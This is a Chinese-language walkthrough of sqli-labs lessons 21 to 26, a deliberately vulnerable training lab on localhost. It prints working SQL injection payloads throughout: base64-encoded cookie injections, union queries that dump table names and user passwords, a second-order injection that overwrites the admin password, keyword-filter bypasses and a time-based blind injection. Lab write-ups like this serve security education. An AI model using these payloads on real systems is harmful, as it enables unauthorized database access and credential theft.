sali-labs(21-30)
less-21
圈出來的地方顯然是base64加密過的,解碼得到:admin,就是剛才登入的uname,所以猜測:本題在cookie出加密了字串;
檢視php檔案確實如此,所以只需要上傳payload的時候base64加密一下就行了。
看到cookie是YWRtaW4%3D,和頁面顯示的不一樣 但是明顯%3D是=號urdecode的結果,接下來構造paylaod進行測試:
admin' and 1=1 --+ //明文
YWRtaW4nIGFuZCAxPTEgLS0r //密文
看到紅矩形的提示,應該構造 ')這種的
明文:admin')#
密文:YWRtaW4nKSM=
正常顯示,所以閉合條件為('uname'),因為本關和上一關一樣,所以列數為3列,顯示位相同。
(1)爆庫
-admin') union select 1,2,database()#
LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMixkYXRhYmFzZSgpIw==
(2)爆表
-admin') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'# LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMixncm91cF9jb25jYXQodGFibGVfbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT0nc2VjdXJpdHknIw==
(3)爆列
-admin') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'# LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMixncm91cF9jb25jYXQoY29sdW1uX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgd2hlcmUgdGFibGVfbmFtZT0ndXNlcnMnIGFuZCB0YWJsZV9zY2hlbWE9J3NlY3VyaXR5JyM=
(4)爆資料
-admin') union select 1,2,group_concat(username,0x7e,password) from users#
LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMixncm91cF9jb25jYXQodXNlcm5hbWUsMHg3ZSxwYXNzd29yZCkgZnJvbSB1c2VycyM=
less-22
和less-21關一樣,只需要使用雙引號再去掉括號
-admin" union select 1,2,database() #
LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwyLGRhdGFiYXNlKCkj
less-23
原始碼替換了能用的註釋符,所以我們可以構造閉合語句進行注入
(1)爆庫
127.0.0.1/sqli-labs/Less-23/?id=-1' union select 1,2,database() '
(2)爆表
http://127.0.0.1/sqli-labs/Less-23/?id=-1%27%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27%20or%20%27
(3)爆列
127.0.0.1/sqli-labs/Less-23/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'or '
(4)爆資料
http://127.0.0.1/sqli-labs/Less-23/?id=-1%27%20union%20select%201,group_concat(username),group_concat(password)%20from%20users%20where%201%20or%20%27
less-24
是一個登陸頁面,我們沒有賬號,所以選擇新建一個使用者
我們新建的使用者名稱為:admin'# 密碼為:123456
檢視資料庫,可以看到,我們的資料插入進去了
我們使用新建的使用者名稱和密碼登入
登入成功了,跳轉到了後臺頁面修改密碼頁面。
我們修改使用者名稱為:admin'# 密碼為:aaaaaaaaa
提示密碼更新成功!
我們檢視資料庫,發現使用者admin'#的密碼並沒有修改,而且admin使用者的密碼修改為了 aaaaaaaaaa
那麼,為什麼會這樣呢?我們檢視修改密碼頁面原始碼,發現這裡存在明顯的SQL注入漏洞
當我們提交使用者名稱 admin'#修改密碼為 aaaaaaaaaa 的時候,這條SQL語句就變成了下面的語句了。
#把後面的都給註釋了,所以就是修改了admin使用者的密碼為aaaaaaaaaa
$sql = "UPDATEusersSETPASSWORD='aaaaaaaaaa'where username='admin'#' and password='$curr_pass' ";
less-25
根據題意得,本關過濾了or和and。檢視原始碼可以看到or和and被替換成空,我們可以雙寫繞過
(1)加單引號報錯
(2)加雙引號正常顯示
(3)輸入?id=1'--+
正常顯示,所以引數的閉合方式是'id'
(4)判斷列數
正常顯示,
(5)輸入?id=1' oorrder by 4--+
報錯所以列數為三列。
(6)判斷顯示位
後面就是union查詢注入的老一套了,遇見and或or字元的時候雙寫就行了。
less-25a
不同於Less(25)的是,sql語句中對於id,沒有"的包含,同時沒有輸出錯誤項,報錯注入不能用。
union聯合注入
http://127.0.0.1/sqli-labs/Less-25a/?id=-1 union select 1,2,database()--+
盲注
http://127.0.0.1/sqli-labs/Less-25a/?id=-1 || if(length(database())=8,sleep(10),1)#
less-26
檢視php檔案,可以發現過濾了 or and /* -- # \s //
(1)確認一下:
?id=%231 //確認過濾了#
?id=or1 //確認過濾了or
?id=/*1 //確認過濾了多行註釋
?id=--1 //確認過濾了單行註釋
?id=/1 //確認過濾了斜槓
?id=1' ' ' //確認過濾了空格,報錯注入才行
?id=\ //確認過濾了反斜槓